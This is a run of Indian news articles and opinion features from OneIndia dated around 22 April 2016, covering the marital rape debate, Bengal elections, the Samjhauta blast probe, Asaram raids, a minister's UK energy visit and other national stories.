Might sound strange, especially in a scenario when we talk about women's upliftment most of the time. But can we really ignore the flip side?

The government weighs options

The NDA government had often been criticized for its decision of not making marital rape criminal. While it has its own justification, the fact that it can also be misused rampantly by revengeful, estranged wives, cannot be ignored.

Consider this. The Delhi Commission of Women has come out with disturbing statistics, establishing the fact that 52.3% of rape cases filed between April 2013 and July 2014, were false. In fact, out of 2,753 complaints of rape, only 1,287 cases were found to be true, and the remaining 1,464 cases were found to be false.

Will criminalization of marital rape still hold good in this case?

The Delhi Court in a particular said, "it was "becoming a very difficult job, now-a-days, for the courts to differentiate the genuine rape cases from the false ones".

Shamina Shafiq, of the National Commission of Women, once said, "It is sad that people are misusing the rape laws to settle scores, while there are so many women who have nowhere to turn to in genuine cases. How will they gather the guts if this turns out to be the trend? A victim's family will also dissuade her from complaining.".

The staggering number of fake cases registered with the police is evident from the following figures. In the year 2014, till the month of July, about 1,253 cases were registered, out of which 900 were false. In July 2014, 139 cases were unknown and could not be resolved.

Marital rape cannot be ignored

However, Chennai-based activist and lawyer Sudha Ramalingam believe that the numbers are highly exaggerated. "No one is denying that there might be some false cases. And that should also be a reason to work towards better implementation, so that not only do we reduce the number of false cases, but more importantly, we do not fail the real victims, and let the real rapists walk free," says another expert Ragamalika Karthikeyan, Programme Officer, Prajanya Trust.

According to the National Family Health Survey-III, one in every 10 woman in India has faced spousal sexual violence, which also includes marital rape at least once in their lifetime.

Difficulty in proving marital rape

When proving rape is challenging, marital rape investigations are long-drawn and pivotal, especially when most of them are done by known people. In marital rape, the person is the closest to the woman and it is difficult to establish the circumstantial evidences proving rape since it happens in a familial background. Sometimes, even the parents of the woman support it, adjudging it a marital ritual.

Pointing out the medical evidence in such cases, a Chennai-based lawyer Akila RS said, "A history of physical violence, results of a rape-kit and medical examination of the wife, witness testimony and possible admission of the husband in electronic communications could be ample evidence to prove his guilt."

"Yes, there is some difficulty in the criminal jurisprudence here, but we have to develop it. And at least, in cases where there is enough proof for proving marital rape, the law will help punish the husbands," he further added.

Having said that, he also offered a solution: "Let's get one thing clear: those of us arguing for criminalising marital rape are not asking for a special provision' for married women. What we are asking for is the special status accorded to some rapists to be removed. We cannot have 'good rape' and 'bad rape', there cannot be gradations based on the relationship between the victim and the perpetrator."

However, the question remains: Can we afford to allow a marital rape law when our rape laws have to be amended in the first place?

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Story first published: Friday, April 22, 2016, 15:17 [IST]
Decision taken with heavy heart, says Piyush Goyal on suspension of 19 MPs from RS

India-UK Collaboration on Power and Renewable Energy

Feature

oi-Lisa

By Lisa

Piyush Goyal, Union Minister of State for Power, Coal, New & Renewable Energy visited the UK on 19-20 April, 2016 to strengthen India-UK collaboration on power and renewable energy.

Mr. Goyal build up on the agreements made during visit of Prime Minister Narendra Modi to the UK in November 2015.

An official delegation comprising Secretary, Ministry of New and Renewable Energy, Joint Secretary, Ministry of New and Renewable Energy, Director (Technical), IREDA and nine member business delegation accompanied Mr. Goyal on his UK visit.

During his two day visit Mr. Goyal met officials from Natgrid and UK Power Network. The officials briefed the Minister about their functions and capabilities and on how they can contribute on enhancing grid stability in India.

The Minister on his part explained about his plans and vision to increase the power generation in India. Mr. Goyal also briefed them about renewable energy scale up plan which has been drawn up to 2022.

CII led a strong 12-member industry delegation accompanying the Minister to the Investors Roundtable in #London pic.twitter.com/DR0wnEM0HN  CII (@FollowCII) April 21, 2016

Mr. Goyal informed UK officials that:

"In a bid to bring the global community together on a larger platform of cooperation, Prime Minister Narendra Modi launched International Solar Alliance."

"India has set a renewable energy target of 175 GW by 2022 that comprises 100 GW of solar and 60 GW of wind capacity."

"The idea is to make power available to all at affordable prices."

"India and UK are natural partners and deeper engagement can lead to a win for both."

"India set to become largest energy market representing the aspirations of a billion plus people in the coming years."

Mr. Goyal meets UK Minister for Energy and Climate Change:

Mr. Piyush Goyal also met Lord Bourne, UK Minister for Energy and Climate Change and discussed about enhancing future cooperation between India and UK in the energy sector. The Minister also met Lord Jim O'Neill, Commerce Secretary to the Treasury and Mr. Nick Hurd, Minister, Department of International Development and discussed about enhancing bilateral relationship particularly in the power sector.

Minister for Power @PiyushGoyal met Lord Jim O Neill,Commerce Secretary to the Treasury on 19th April 2016 in London pic.twitter.com/BhoSQYI4UX  India in the UK (@HCI_London) April 21, 2016

He emphasised the need for the developed world to show its commitment towards climate change by putting money in climate finance. He mentioned that India needs low cost long term finance for its ambitious renewable energy scale up plans and finance hubs like London could take a front seat in mobilising it.

Mr. Goyal on ties between India and UK:

Mr. Goyal also emphasised on the historical, cultural and financial ties between India and the UK and hoped to work on it expeditiously to strengthen and deepen the bilateral engagement.

Minister for Power,@PiyushGoyal at meeting of Investors,Industry Reps of Renewable Energy,organised by CII on 19 Apr pic.twitter.com/FFCeRseCUk  India in the UK (@HCI_London) April 21, 2016

The Minister met the media during the visit and briefed about steps the Indian Government is undertaking to improve energy access, rapid scale up of renewable energy, enhancing grid reliability, integration of renewables in the grid and the massive opportunity presented by the untapped demand in the Indian market.

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Story first published: Friday, April 22, 2016, 11:05 [IST]
Is the long duration of Bengal election 2016 hurting Mamata Banerjee?

Feature

oi-Shubham

By Shubham

West Bengal is in the middle of a high-voltage election battle. The fourth of the seven-phase election got over on Thursday (April 21) and it has been the most violent so far as three lives were lost during and after the polling concluded.

Assembly Polls 2016 Full Coverage; What if Mamata loses this election?

TMC has 85 of 102 seats in and around Kolkata

The remaining three phases will see polling in another 127 seats of which 102 are located in and around Kolkata. The ruling Trinamool Congress (TMC) won 85 of these seats (a staggering 83 per cent) in 2011 and it was its sweep in South Bengal which laid the base for its historic victory (the party had 99 of the remaining 167 seats which makes it just 59 per cent). [This Bengal election has become a bhadrolok vs 'chhotolok' contest]

The Mamata Banerjee wave swept away the then Left Front regime in the urban centres since the latter lost faith of the electorate mainly in terms of stagnant industrialisation and scarcity of jobs.

TMC will be desperate to save its base which is South Bengal

Now, it is the TMC which is at the receiving end. Bengal hasn't moved an inch ahead in industrialisation despite the big claims and land banks, the brain drain has continued and also farmers in Singur, a project which everybody had hoped would usher in a new era of industrialisation but failed miserably, are struggling to meet their days' need. [4 reasons why BJP will never want Mamata to lose]

On the top of it, the corruption charges in Saradha chit fund scam and Narada sting operation have left the TMC leadership more than worried since these issues generally make an impact on urban voters. Banerjee's shaky images at various rallies of late make it amply clear that she is extremely worried over protecting her base in South Bengal where former chief minister Buddhadeb Bhattacharjee recently led a huge rally comprising supporters of the Left and the Congress.

But the long election has put its limited leadership and organisation under stress

The TMC might be ruing the fact that the ongoing election is far too long (from April 4 to May 5) for it to manage successfully. The party supremo is its only face to show and she has been criss-crossing the state to canvass support for her candidates who have little significance of their own. This weak machinery has exposed the ruling party in the face of a series of charges of corruption and even its almighty supremo is struggling to keep pace with the fast eroding trust. [BJP's same anti-Mamata speeches are tiring]

The TMC's hold in central and northern parts of the state is still not strong enough and with the two most powerful forces in these parts--the Left and Congress---joining hands this time, the ruling party is at an even bigger disadvantage to influence things in its favour. Instances like deaths in poll violence, as it was seen yesterday in the notorius Domkol constituency in Murshidabad yesterday, will add more to the TMC's woes even if it is not a traditionally strong player in that district. [Why Murshidabad fight is interesting in this election]

Moreover, with Mamata Banerjee declaring an indirect war on the Election Commission, which has taken the Bengal election this year very seriously, there is very little chance of any cooperation between the state government and the poll panel to jointly deal with such menace. And it is Banerjee who will lose more face than the EC since she is in charge of the state.

Internal dissent, external attack, conflict with EC, hostile media, corruption charges --- Mamata has too much to tackle

This lack of credible faces and a weaker organisation on the ground (compared to the Left in its heydays) have challenged the TMC to survive this one month of election. The party's internal dissent has come out in the open in the wake of the Narada sting operation accusing top leaders of the party accepting bribe, the opponents have been attacking Banerjee and her party unsparingly and the media and the Election Commission are also carrying out their responsibilities over-enthusiastically.

Together, they have put Banerjee's honest image under an immense pressure. And since that is the only political asset the TMC has, the relentless pressure on it in this long election has pushed it to a point of breaking apart.

It was not without a reason that Mamata was upset with the 7-phase poll on March 4

It was not without a reason hence that Banerjee was upset when the EC declared a six-phase (actually seven) election for Bengal on March 4. On the face, she said while all other states were going to one or two-phase polling at the most, Bengal was being unjustly treated and was made to go through a seven-phase poll. Banerjee knew very well that the longer the poll time is stretched, the more challenging will it for her one-woman party to tackle the threats. In 2011 also it was a multi-phase election but after five years, Banerjee has a lot to lose.
Samjhauta blasts: Which confession do we believe?

Feature

oi-Vicky

By Vicky

October 2008- We carried out the Samjhauta blasts with the help of Pakistani nationals says Safdar Nagori, the head of the radical faction of the Students Islamic Movement of India.

January 2011- I read about the in the newspaper. I asked Sunil Joshi and he told me his men carried out the blasts- Swami Aseemanand an accused in the case.

Ironically both have denied making such statements. They state that they made these confessions to the police under duress. The point however is that how does one case have two set of accused?

Both the accused are ideologically poles apart and even in one's wildest of imaginations the chance of the two coming together is impossible.

The Nagori confession:

When the NIA took over the case it had already witnessed two sets of accused. While the first half of the probe pointed to the SIMI and the Lashkar-e-Tayiba the second half focused entirely on Hindu elements. The chargesheet has the names of 9 persons all Hindus and the case is at the trial stage.

While there were statements in the media two days back stating that Lt Colonel Purohit has been given a clean chit in this case, the fact of the matter is that he was never an accused in the case. Hence the question of giving him a clean chit does not arise in the first place.

After the attack on the Samjhauta express, there was a report from the United States of America which stated a Lashkar-e-Tayiba financier Asif Kasmani had carried out the attack.

The police then subject Nagori to a narco analysis test. During this test which is the most unreliable, he is said to have confessed to his role in the blasts. He also is claimed to have said that the attack was carried out to derail the Indo-Pak peace process.

The other confession:

However, the track of the investigation changed completely. Swami Aseemanand was picked up and subject to interrogation. He issued a confessional statement in Delhi. He said before the Metropolitan Magistrate of the Tis Hazari court that he was aware of the blast but had no role to play.

The blast was planned by Sunil Joshi. He also said that he read about the attacks in the newspaper. When he called Joshi he is alleged to have confessed to being part of the attacks. Joshi was however murdered and the NIA took up the probe into this case.

The mess that the NIA finds itself in:

At first the NIA was confused as to which report to rely upon. However for nearly three years the NIA probed the Aseemanand angle to the case. There are three chargesheets in the case which speak about the role of Hindus in this incident. Moreover the trial too has commenced in this case.

Although the trial is being conducted on the basis of the NIA chargesheet, the agency could report fresh facts if it has any before the court. It would be extremely difficult to do so, but it is still an option open. What set off the entire debate regarding this case was when a team of the NIA visited the US.

It was said that they were visiting the US to get more details on role of the Lashkar -e-Tayiba. However, it does not appear that much has come out in this regard. NIA officials say that they were just double checking and want to be entirely sure. The NIA has done its job, the media has spoken enough about it.

The fate of this case is not in the hands of the media, government or the NIA. It is for the court to decide and it should remain at just that.
Abolish interview for low level govt jobs: Centre to states

India

oi-PTI

New Delhi, Apr 22: All state governments have been asked to abolish interview as part of selection process for low level government jobs, Union Minister Jitendra Singh said today.

He was addressing a meeting of Principal Secretaries of General Administration Department (GAD) from different states and union territories here.

Singh, Minister of State for Personnel, also asked state governments to expedite the process of abolition of interview for selection to such posts where it is not required.

This follows suggestion from Prime Minister Narendra Modi on the abolition of interviews during his last year's Independence Day address from the ramparts of Red Fort.

The Department of Personnel and Training promptly followed the PM's call by completing this exercise before December 31, 2015 and ensured that beginning this year the practise of conducting interview is discontinued for selection to non-gazetted and junior posts in the central ministries.

"However, the provision of skill test was allowed for such posts where a special skill was required, but this skill test was also of qualifying nature," a press release issued by Personnel Ministry said.

Singh regretted that many of the states have yet to make a satisfactory headway in this direction.

He said, since today's meeting was being attended by GAD Secretaries from most of the states ranging from Jammu and Kashmir to Kerala, it is expected that the officers will go back to their respective states with the message to carry forward this initiative in right earnest.

Citing the example of states like Maharashtra, Rajasthan and Uttar Pradesh, which has made significant progress in abolishing interviews, Singh advised the Secretaries of other states also to try to understand and replicate the same in their respective states.

He also noted that the provision of self-attestation was adopted by certain states very late and exhorted the state governments to follow the initiative of preparing a single page form for different applications.

PTI
'Arthur Road jail doc fudged register for Bhujbal's admission to St George'

India

oi-PTI

Mumbai, Apr 22: Former deputy Chief Minister Chhagan Bhujbal's admission to St George Hospital in South Mumbai was facilitated by a doctor at Arthur Road prison here who fudged a medical register entry by his superior recommending that he be treated for toothache, a senior Prisons department official said today.

Bhujbal, remanded in judicial custody in an alleged money laundering case, was admitted to ICU of the multi-speciality hospital on April 18 after he complained of severe chest pain and high blood pressure.

However, the probe by the Prisons department has revealed that Dr Rahul Ghule altered the initial recommendation made by his senior in the medical register that Bhujbal be taken to the hospital for toothache by writing that he be taken to medical OPD.

"On April 16, Dr Bansode (Chief Medical Officer, Arthur Road Jail) had recommended that Bhujbal be taken (to St George) to dental OPD for his toothache.

"However, on April 17, despite being on leave, Ghule, without the knowledge of CMO or jail authorities, fudged the jail register no.32 wherein he changed initial recommendation regarding Bhujbal by suggesting that he (Bhujbal) be taken to medical OPD there for other reasons," Bipin Kumar Singh, IG, (Prisons) said.

The officer said they suspect that Ghule had also accompanied Bhujbal to the hospital on April 18. Considering the seriousness of the act, the jail authorities have repatriated Ghule to Public Health Department and recommended stringent action against him.

"If a prisoner has a medical ailment, he has the right to get medical treatment. But, never is a prisoner taken anywhere except J J Hospital. Ghule has been fired as he was found guilty and we have recommended strict action against him," Singh said.

He said the motive behind Ghule's conduct and whether he received favours for it will be ascertained after the health department completes its probe into the matter.

Interestingly, Ghule had earlier alleged special treatment to inmates of the prison by the authorities in lieu of monetary considerations. MoS, Home, (Urban) Ranjit Patil had ordered a DGP level probe into allegations of VIP treatment being accorded to some detainees in lieu of bribe at the jail.

The orders came after Ghule on April 6 wrote to Chief Minister Devendra Fadnavis alleging that jail authorities were coercing and threatening inmates lodged for economic offences and forcing them to cough up lakhs of rupees for availing VIP treatment.

DIG (Prisons) Rajan Dhamne today recorded Ghule's statement as part of the probe. Jail authorities are now awaiting the discharge report of Bhujbal.

PTI
India's first road constructed from steel slag inaugurated in Surat

Surat Model of natural farming can become a model for entire country: PM Modi

7 arrested for lynching ragpicker on suspicion of being thief

Over 50,000 locals throng routes as PM Modi holds roadshows in Surat, Bhavnagar

National Games: Boxer Nikhil Dubey wins gold for the coach who lost life

42 bags containing crores of rupees recovered from ashrams of Asaram, Narayan Sai!

India

oi-Preeti

Surat, April 22: Self-proclaimed jailed Godman Asaram Bapu and his son Narayan Sai have embroiled themselves into fresh trouble.

According to media reports, the father-son duo have been imposed a fine of whopping Rs 750 crore.

Assistant Commissioner of Police Mukesh Patel on Friday, April 22, told a news agency, ''Raids against both the spiritual gurus had led to recovery of hoards of cash and property papers.''

During the raid, 42 bags containing crores of rupees were allegedly recovered by the Income tax authorities.

Asaram's lawyer Kalpesh Desai confirmed about the I-T raid at the ashrams of tainted godmen in Surat.

Asaram had allegedly sexually assaulted a 16-year-old girl at his ashram near Jodhpur in Rajasthan in 2013, following which he was arrested.

Later, a Surat-based woman had accused Asaram of raping her repeatedly between 1997 and 2006 during her stay in his ashram.

The younger sister of the complainant had levelled the allegation of rape against his son Narayan Sai between 2002 and 2005, following which he was booked under various sections of IPC, including rape, unnatural sex, molestation, wrongful confinement.

OneIndia News
To crack Tenzil Ahmed murder case: NIA, UP police need to be on same page

India

oi-Vicky

New Delhi, Apr 22: The investigation into the murder of NIA officer, Tenzil Ahmed seems to have hit a dead end. The Uttar Pradesh police which is probing this case had almost concluded that the death was due to a property dispute.

The NIA and the family members are however not convinced and say that since he was handling such high profile cases, the terror angle must be explored too.

NIA officer Tenzil Ahmed was shot dead by two persons when he returning from a family function at Bijnor, UP on April 3. His wife who was also hit by bullets passed away last week at a hospital in Delhi. The two children in the car however escaped unhurt.

However the UP police who had claimed to have cracked the case now say that for the exact details to emerge, they would need to arrest Muneer, who is considered as the prime suspect in the case. The NIA however feels that the UP police can do more in a bid to speed up the probe.

Not ruling out a terror link:

An NIA official tells OneIndia that they are not ruling out a terror link. We are providing all assistance possible to the Uttar Pradesh police. However they should probe more instead of coming to early conclusions the officer also informed. We want the UP police to speak with the two children of the officer.

Video: Union Minister Sadhvi Niranjan Jyoti disrespects slain NIA officer Tanzil Ahmad

The children have been visiting the NIA office in Delhi. The children will be able to give their version of the story, the officer says. The UP police is likely to visit the NIA office in Delhi and speak with the children. We want the children to feel comfortable and hence had told the UP police to visit the NIA office.

For this probe to reach its logical conclusion it is necessary that every angle is probed. Moreover the NIA and the UP police need to be on the same page and not hurriedly come to conclusions, the officer noted.

The priority would be to conduct a more serious search and nab Muneer who is believed to have links with criminal outfits. Muneer himself is accused of murder and had to flee Bijnor after Ahmed informed the cops about his whereabouts.

The NIA also feels that if the probe fizzles out it would set a bad precedent. NIA officials undertake a very risky job involving terrorists and their organisations. If the probe fizzles out, it could set a very bad precedent, the NIA official feels.

OneIndia News
5-year-old dies after being attacked by pack of dogs in MP

Events to mark Shakespeare's 400th death anniversary on April 23

India

oi-PTI

Kolkata, April 22: Marking the 400th death anniversary of William Shakespeare tomorrow, a six-month online festival on the Bard of Avon will be presented by performers from UK and will be available all over the globe including India.

Shakespeare Day Live, a digital pop-up channel, co-curated by BBC and British Council, will have leading art organisations across UK, giving performances, analysis, talks and fun streamed online, a British Council release said.

A dazzling array of actors, musicians and artists including Dame Judi Dench, Sir Ian McKellen, Adrian Lester, Ralph Fiennes, Simon Russell Beale, BBC Scottish Symphony and BBC Concert Orchestras is featured on the live channel along with new work from young artists from across the UK and Europe.

In Kolkata, the British Council is holding a series of activities including workshops, panel discussions and contests.

These include a session on 'Shakespeare on Leadership and Power', a mask-making workshop inspired by the Bard's characters and their monologues among other activities. The Young Adults Repertoire of Creative Arts Studio will present 'A Midsummer Night's Dream, Shakespeare's well-known comedy.

In another session, students will relive Shakespeare's world famous plays, learn English through his popular comedies and discover aspects of the Bard's life and works through podcasts, blog contests and live streaming of videos.

They would also take part in a blogging contest on 'The Shakespearean film/adaptation that has influenced me most and why'.

PTI
K'taka govt will not ask IT companies to open offices, WFH may continue: Minister

Former Karnataka Minister Gurunath jumps to death

India

oi-Shreyas

Bengaluru, Apr 22: In a tragic incident, former Labour Minister of Karnataka, C Gurunath (69) has committed suicide by jumping from the second floor of Sagar Apollo Hospital building on Thursday, April 21.

However reason for Gurunath to take such extreme step has not been established. The police have not retrieved any death note from the crime scene. This was informed to the press by the DCP of Bengaluru South Division, Lokesh Kumar.

It is said that the former minister was suffering from diabetes. For the treatment of his aliment he had flown from Kalburgi and was admitted to Sagar Apollo Hospital located at Tilak Nagar of IT city. He allegedly jumped from room number 214 of second floor of the hospital.

Gurunath had come to city on April 17 and was taken to hospital on April 20. Doctors treating Gurunath had told the former minister to take a day rest in the hospital assuring he would be discharged on April 21.

Gurunath was attended in hospital by one person named Dilip. Before jumping from the building, Gurunath directed Dilip to bring a doctor to the room. It is said that Gurunath intentionally fell from the building as soon as Dilip left the room.

The doctors said the height between the ground to which Gurunath fell and the place from where he jumped is 30 ft. Gurunath died on the spot succumbing to injuries that he suffered on his head and shoulder.

It is learnt from the family sources that last rites of Gurunath will be performed in his birth place Shahbad of Kalburgi district in the evening hours of Friday.

The police registering suicide case is now investigating possible reasons behind the act. It could be recalled that he won from Shahbad constituency as MLA as JD(S) candidate. He served as Labour Minister in the cabinet led by H D Devegowda. However Gurunath had lost MLA election in 2013 from Chittapura Taluk.

OneIndia News
No decision yet on joining BJP or AAP, says Hardik; hails saffron party over Ayodhya issue, Article 370

Is Hardik Patel joining BJP today? This is what he says

Hardik Patel never incited violence, lawyer says while seeking bail

India

oi-PTI

Ahmedabad, Apr 22: Seeking bail for jailed OBC quota agitation leader Hardik Patel, his lawyer today argued in the High Court here that his client never instigated the people to resort to violence and had in fact appealed for peace.

Justice AJ Desai is hearing Hardik's bail plea. The young Patel leader is facing sedition cases in Ahmedabad and Surat.

Advocate Bharda today said Ahmedabad police misinterpreted Hardik's speech at the GMDC ground rally here on August 25 last year where he invoked freedom-fighter Bhagat Singh who threw a bomb at the British'.

"Hardik did not mean that he will uproot the government by bombing it. Hardik asked Patels to use their voting right as a bomb' to oust the government if the demand of reservation was not met," the lawyer said.

The court later adjourned the hearing to April 28 when Hardik's lawyer Zubin Bharda would continue his argument. The bail applications of Hardik's three aides -- Ketan Patel, Chirag Patel and Dinesh Bambhaniya -- also came up for hearing in Justice Desai's court today.

They told the court that instead of their current lawyer, BM Mangukiya, they have now appointed advocate Vijay Patel. Their bail applications too will be heard on April 28.

Session courts in Surat and Ahmedabad had refused Hardik bail last month. He and his three associates are accused of inciting the violence to mount pressure on Gujarat government for accepting the demand of reservations for the Patel community. Hardik is at present lodged in Lajpore jail in Surat district.

PTI
Prosecutions story may be attractive but should be backed by evidence

ISIS and HuT will battle hard for spot in India: Intelligence report

India

oi-Vicky

New Delhi, April 22: A pamphlet prepared by the ISIS read, establishing the Caliphate since 1953. This was the ISIS mocking the Hiz ut Tahrir. The ISIS on the other hand claims to have already declared the Caliphate.

Both these groups have a similar ideology and that is to establish the Caliphate and implement the rule of Sharia. But one must confuse the issue and think that these groups are friends. They are sworn enemies.

The rivalry between the two groups is important in the Indian context. Both have managed to establish a strong base in Bangladesh with a view of carrying out jihad in South Asia. There have been a series of intelligence bureau alerts which have clearly stated that both these groups are planning attacks in India

ISIS threatens to rid India of Hindus in latest issue of its magazine

In the HuT vs ISIS war India needs to worry:



Both the groups are radical and may have a similar ideology. However they have different styles of approach.

The HuT relies on discussions and debates before convincing the youth to take up Jihad. The ISIS on the other hand relies on blood shed and brutality to make their point.

To set up a base in South Asia, Pakistan would have been the ideal spot. However Pakistan is overcrowded with terrorist outfits which has led both these groups to Bangladesh. Both groups operate in Bangladesh strongly.

An intelligence bureau dossier would show that the HuT continues to spread jihad through ideological discourses but the ISIS only relies on killing to make its point.

Both are dangerous in their own way says an IB officer. The target audience in India is extremely crucial to both these groups. The HuT has been focusing largely in universities to spread the message of how Sharia is important and why the Caliphate should be declared.

The ISIS on the other hand feels that the only way at implementing the Sharia is through terror strikes and war.

Foes not friends:

There has been a great deal of confusion about the relationship status between the two groups. The confusion is largely to do with the fact that they share similar ideologies, but a different approach. The ISIS has in fact not spared a single attempt to mock the HuT.

The ISIS finds the group too slow and the pamphlet released by them states Establishing the Caliphate since 1953. The pamphlet further mocks by the HuT by stating, I know were have got nowhere so far.

We have a lot of conferences and are really good at sitting at cafes and talking about the Caliphate. This was clearly an attempt to mock the HuT which the ISIS feels relies heavily on intellectual discourses instead of taking the battle to the streets.

The HuT however calls itself a non violent political group. It views the ISIS as a violent group. It further states that the HuT is structured and not scattered like the ISIS.

OneIndia News

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Story first published: Friday, April 22, 2016, 14:29 [IST]
Regional Censor Board Officer Natasha faces heat over no knowledge of Kannada

India

oi-Shreyas

Bengaluru, Apr 22: In agitating mood, the Chairman of Karnataka Film Chamber of Commerce, Sa Ra Govindu has pen down a letter to Information and Broadcasting Ministry seeking the replacement of current Chief of Karnataka Regional Censor Board, Natasha S D'souza who is a Non-Kannadiga.

IIS (Indian Information Service), Natasha S D'souza took charge as the Karnataka Regional Officer of Censor Board for Film Certification on December 4, 2015, replacing M Nagendra Swamy. Natasha hails from Delhi.

The contention of Sa Ra Govindu is Regional Officer should possess vast knowledge of local language (Kannada) in order to censor the movies that arrive to the desk of the officer. Govindu speaking to OneIndia said "We have no personal grudge against the officer but our woe is her no knowledge of Kannada language."

For a recent Kannada movie, Kiragurina Gayyaligalu to which Natasha performed the duty of providing certificate went ahead to mute important dialogues of the movie. This sparked furore among the viewers and the cine-makers. However, Sa Ra pointed that "the regional officer did not had any problem with the same dialogue which is present in the promo or the trailer of the movie."

Sa Ra Govindu citing the double standards of the officer asked why dialogues were muted in the 139-minute-long cinema when it was not the case with trailer of the movie. Moreover how a person not knowing the Kannada language could certify films, he asked.

He alleged that while watching full length movie, the regional officer was joined by two more members of the board who were not presented during the first sitting when promotional video was subjected to censorship.

Sa Ra suspecting some foul play demanded- to end all such activities a Kannada knowing officer should be posted to the position. "I have written a letter to the Information and Broadcasting Ministry seeking the replacement of Natasha."

Agni Shridhar, writer critic artist from Karnataka is of a opinion that Natasha is not to be blamed for the fault. "Natasha is a very dignified woman, but due to her lack of knowledge of Kannada she has been misguided by a few chunk of people."

On being asked how important it is for the regional officer to know the language, Agni said it is not only language that plays a pivotal role, but also the knowledge of local culture too has a big role while delivering the duty of issuing certificate to cinema and censoring. "Cinema is reflection of language and culture of the region from where the movie is made," Agni observed.

"If we look at Kiragurina Gayyaligalu controversy, important dialogues were not muted in the promotional videos but later in the full-length movie it was removed."

Agni suspected that a few members in the censor board due to 'subconscious jealous' over the growth of the director Kiragurina Gayyaligalu, Suman Kittur misguided Natasha. These members are very senior to Sumana in the field of journalism, he divulged.

A former member of Regional Censor Board, Nagalakshi albeit opined top officer of the board must possess the knowledge of the language, justified the silencing of key dialogues in the movie. "In the civilised society such language is not used hence the muting is Ok," she argued.

When this news portal contacted Natasha to seek reaction on the developments, she said "I am on leave and contact me on Monday."

OneIndia News

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Story first published: Friday, April 22, 2016, 19:06 [IST]
Earth Day is a day of gratitude to Mother Earth, says PM Narendra Modi

Earth Day 2022: Google Doodle shows impact of climate change at various location using real time-lapse imagery

PM Modi expresses gratitude on Earth Day

India

oi-IANS

By Ians English

New Delhi, April 22: Prime Minister Narendra Modi on Friday expressed his gratitude towards planet Earth.

"On Earth Day, reverence and gratitude to our planet that has given us everything," Modi said on Earth Day, celeberated on April 22.

Earth Day is celebrated on every 22nd of April to mark the beginning of the modern environment movement.

We Need Earth Day Everyday

The idea of celebrating a national day to focus on the environment came to Earth Day founder Gaylord Nelson who was then a U.S. Senator from Wisconsin. The idea came to him after witnessing the ravages of the 1969 massive oil spill in Santa Barbara, California.

IANS
'Modi Govt's blatant power grab fails': Rahul on Uttarakhand HC verdict

India

oi-PTI

New Delhi, Apr 21: "Modi Govt's blatant power grab fails. Democracy wins", Rahul Gandhi said today mounting a scathing attack on Prime Minister Narendra Modi in the wake of Uttarakhand High Court verdict reviving the Congress government there.

"Modiji while you attack the Constitution, destroy institutions&undermine Democracy pl(please) remember ppl (people) of Uttarakhand & entire country are watching", the Congress Vice President said on micro-blogging site Twitter.

Party's chief spokesman Randeep Surjewala demanded that the Prime Minister as also BJP chief Amit Shah tender an unconditional apology to the nation.

Terming the court's verdict as a victory of people of Uttarakhand, democracy and constitutional norms, Surjewala said Prime Minister Modi and Amit Shah should learn a lesson from this "decisive and resounding verdict.

"This is a victory for the people of Uttarakhand, democracy and constitutional norms. This is also a slap on the face of those in BJP who sought to dislodge an elected government, elected with the mandate of people in Uttarakhand.

"Prime Minister Narendra Modi and BJP president Amit Shah will be well advised to now tender an unconditional apology to the nation and also to people of Uttarakhand for trampling upon democracy, murdering constitution norms and subjugating the will of people to their blind quest to dislodge Congress governments. We welcome the verdict," Surjewala said.

Dealing a major blow to Modi government, the Uttarakhand High Court today quashed the imposition of President' rule in the state and revived the Congress government headed by Harish Rawat, who has been asked to prove his majority on April 29.

PTI
Karnataka to strengthen ATS and up the number of prisons

N Manjunath Prasad is the new Commissioner of BBMP

India

oi-Shreyas

Bengaluru, Apr 22: In a fresh development the state government has transferred BBMP Commissioner, G Kumar Naik along with other IAS officials. However the government has posted 1994 IAS cadre N Manjunath Prasad for the same.

The state government issued transfer order to IAS officers in the evening hours of Thursday. Outgoing Commissioner has been transferred as Director of Karnataka Power Corporation Limited (KPCL), the order said.

Naik who belongs to 1990 IAS batch took charged as the Commissioner of the BBMP on April 20 2015. Kumar who hails from capital city, pursued his schooling in Sri Ramakrishna Vidhyashala of Mysuru and Basavanagudi National College. It could be recalled that he served as Assistant Commissioner in Hunsur and Kumta Taluks.

Transferred Officials

N Manjunath Prasad who served as Secretary to Government, Agriculture Department is now tasked with BBMP. The Managing Director of KPCL, M Maheshwar Rao of 1995 batch in this reshuffle given the post of Secretary to Government, Agriculture Department.

A crusader who is said to be a reason behind throwing light on corruption in Lokayukta, Bengaluru ZP Chief Executive Engineer M N Krishnamurthy has also received transfer order, but posting has not been done yet. He has been replaced by Srinivas.

OneIndia News
With AQI of 259, Delhi's air on day before Diwali least polluted in 7 years

Nepal President Bidhya Devi Bhandari to visit India next month

India

oi-PTI

New Delhi, Apr 22: In her first overseas trip after assuming charge, Nepal's first woman President Bidhya Devi Bhandari will visit India next month during which a range of important issues are likely to be deliberated upon by both sides.

External Affairs Ministry Spokesperson Vikas Swarup said Bhandari will be here at the invitation of President Pranab Mukherjee and that India was looking forward to welcome her.

Nepalese Prime Minister KP Sharma Oli had visited India in February which was also his first foreign trip after becoming the premier in October.

"India shares unique civilisational links with Nepal. Our age-old ties have been constantly nurtured by frequent exchanges of high-level visits. We look forward to welcoming President of Nepal Vidya Devi Bhandari next month in India on her first official visit abroad since taking office," Swarup said.

He said Bhandari has also evinced an interest in participating in the Simhasth Kumbh which is being held in Ujjain in May. The Nepalese President will be staying in President's House during the New Delhi leg of her trip.

The bilateral ties between the two countries had faced turbulence in the recent past due to the months-long Madhesi agitation and subsequent blockade which halted the supply of essential goods to landlocked Nepal from India.

Madhesis, mostly of Indian-origin, have been demanding the new Constitution be amended to include their concerns about adequate political representation and redrawing of federal boundaries.

Swarup said Foreign Minister of Mongolia L Purevsuren will pay an official visit to India from April 27-29 during which he will co-chair the 5th India-Mongolia Joint Committee on Cooperation, along with External Affairs Minister Sushma Swaraj.

Prime Minister Narendra Modi had visited Mongolia in May last year. Asked about the prime minister's visit to the US in June, Swarup said US President Barack Obama during his meeting with Modi during nuclear security summit in Washington had expressed a wish for a bilateral summit to review the progress of India-US bilateral ties.

Replying to a question on the Kohinoor issue, the spokesperson said, "Government of India remains committed to bringing back in an amicable fashion the valuable artifact which has strong roots in our history.

"Government of India will take all steps which are necessary to bring back the Kohinoor in an amicable manner."

Asked about observations on Maldives by Commonwealth's human rights and democracy oversight body CMAG, Swarup said India was for stability and development of the island nation.

"India has always supported stability, development and democracy and pluralism in the Maldives," he said, adding India's long-standing position was recently articulated during Maldivian President Abdulla Yameen Abdul Gayoom's recent visit here.

